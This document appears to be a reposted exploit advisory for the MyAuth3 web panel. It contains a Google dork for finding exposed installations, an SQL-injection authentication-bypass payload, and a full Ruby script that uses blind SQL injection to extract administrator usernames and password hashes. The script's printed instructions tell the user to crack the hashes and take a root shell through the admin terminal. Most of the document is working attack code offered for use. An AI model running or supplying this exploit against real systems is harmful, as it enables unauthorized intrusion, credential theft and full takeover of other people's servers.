MyAuth3 Blind SQL Injection

MyAuth3 Blind SQL Injection​

Код:

# Google Dork: allinurl:1881/?console=panel
# Date: 09/06/2011
# Author: Marcio Almeida (marcio[at]alligatorteam[dot]
org | @marcioalm)
# Version: 3.0
# Tested on: Linux

#EDB-Note: apparently no true exploit is needed to dump system pwd hashes, because the admin myauth users have the ability to run a terminal session

PoC (POST data)

URL:

Код:

http://localhost:1881/index.php?console=panel

POST Data (Authentication bypass):

Код:

panel_cmd=auth&r=ok&user=alligatorteam&pass=' or 1=1#

EXPLOIT CODE [myauth3_xpl.rb]​

Код:

require "net/http"
require "net/https"
require "erb"
require "singleton"
require 'uri'

sql = "select concat(user,0x20,pass) from admusers where enable = 1 and accesslevel >= 20"
@target = ARGV[0]
numthreads = ARGV[1]
@verbose = ARGV[2]
@cookie = ""

puts "+=============================================================================+"
puts "| MyAuth 3 - Blind SQL Injection / Root Shell Access 0day exploit |"
puts "| Google Dork: allinurl:1881/?console=panel |"
puts "| author: Marcio Almeida (marcio@alligatorteam.org) |"
puts "| |"
puts "| by Alligator Security Team | irc://irc.freenode.net:8001/#Alligator |"
puts "| twitter: @alligatorteam |"
puts "+=============================================================================+"
puts
if (ARGV[0].nil? || ARGV[1].nil?)

puts "usage (non verbose): ruby -W0 #{__FILE__} address num_threads"
puts "usage (verbose): ruby -W0 #{__FILE__} address num_threads -v"
puts "-----------------------------------------------------------"
puts "Example 1: ruby -W0 #{__FILE__} 127.0.0.1 5"
puts "Example 2: ruby -W0 #{__FILE__} www.vulnsite.com.br 5 -v"
exit(0)
end

def requisicao(posicao,p_substr,sql)
useragent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1'
@http = Net::HTTP.new(@target, 1881)
# @http.use_ssl = true
parametro = "panel_cmd=auth&r=ok&user=alligatorteam&pass=' or #{posicao} >= ascii(substr((#{sql}),#{p_substr.to_s},1))#"
begin
resp, data = @http.post2("/index.php?console=panel", parametro, {'User-Agent' => useragent, 'Cookie' => @cookie.to_s })
resultado = data.match(/Financeiro/)
rescue Exception=>e
puts e
end
if resultado.nil?
return false
else
return true
end
end

def busca_r( menor, maior, p_substr,sql )
return -1 if menor > maior
return maior if (maior-menor)==1
posicao = (menor+maior)/2 
if (requisicao(posicao,p_substr,sql))
busca_r( menor, posicao, p_substr,sql )
else
busca_r( posicao, maior,p_substr,sql )
end
end

def busca_sql(inicio, qtdThreads, sql, str_final)
resultado = 0
while (resultado != 1) do
str_final[inicio] = ""
resultado = busca_r(0,255,inicio,sql)
if resultado != 1
if @verbose == "-v"
puts inicio.to_s+") Character Found: "+resultado.to_s+" - "+resultado.chr.to_s
end
str_final[inicio] += resultado.chr.to_s
inicio = inicio + qtdThreads.to_i
end
end
end

def busca_com_threads(sql, numthreads)
str_final = []

threads = []
count = 1
numthreads.to_i.times{|i|
threads << Thread.new {
busca_sql(count, numthreads, sql, str_final)
}
count += 1
}

threads.each do |t|
t.join
end

puts str_final.to_s

end

puts "When you crack any of the following hashes, go to http://"+ @target + ":1881/admin to login into the application."
puts "Then go to tools / terminal menu and get a r00t shell access ;-)"
puts "=========================================================================="
puts "[+] admusers table dumping... (maybe it'll take a little bit of time...)"
puts "=========================================================================="

100.times { |i|
busca_com_threads(sql+" limit 1 offset " + i.to_s, numthreads)
}

source: bugsearch.net​